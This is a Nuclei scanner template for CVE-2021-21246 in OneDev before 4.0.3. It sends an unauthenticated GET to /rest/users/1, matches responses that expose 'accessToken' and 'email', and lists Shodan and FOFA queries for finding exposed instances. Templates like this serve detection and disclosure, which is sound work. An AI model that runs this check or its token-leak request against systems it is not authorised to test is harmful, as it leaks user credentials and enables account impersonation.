OneDev before version 4.0.3 contains an insecure endpoint that allows retrieval of arbitrary user details, including access tokens, due to missing security checks on /users/{id}, letting attackers leak sensitive data and impersonate users, exploit requires no special conditions.
PoC代码[已公开]
id: CVE-2021-21246
info:
name: OneDev < 4.0.3 - User Access Token Leak
author: DhiyaneshDk
severity: high
description: |
OneDev before version 4.0.3 contains an insecure endpoint that allows retrieval of arbitrary user details, including access tokens, due to missing security checks on /users/{id}, letting attackers leak sensitive data and impersonate users, exploit requires no special conditions.
impact: |
Attackers can access sensitive user data and tokens, leading to impersonation, data leaks, and potential full account compromise.
remediation: |
Update to version 4.0.3 or later where user info is removed from the REST API.
reference:
- https://github.com/theonedev/onedev/security/advisories/GHSA-66v7-gg85-f4gx
- https://github.com/theonedev/onedev/commit/a4491e5f79dc6cc96eac20972eedc8905ddf6089
- https://nvd.nist.gov/vuln/detail/CVE-2021-21246
- https://securitylab.github.com/advisories/GHSL-2020-214_223-onedev/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
cvss-score: 8.6
cve-id: CVE-2021-21246
cwe-id: CWE-862
epss-score: 0.00291
epss-percentile: 0.52084
metadata:
verified: true
max-request: 1
vendor: onedev_project
product: onedev
shodan-query: title:"OneDev"
fofa-query: title="OneDev"
tags: cve,cve2021,onedev,auth-bypass,token-leak
http:
- method: GET
path:
- "{{BaseURL}}/rest/users/1"
headers:
Content-Type: application/json
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"accessToken"'
- '"email"'
condition: and
- type: word
part: content_type
words:
- "application/json"
- type: status
status:
- 200
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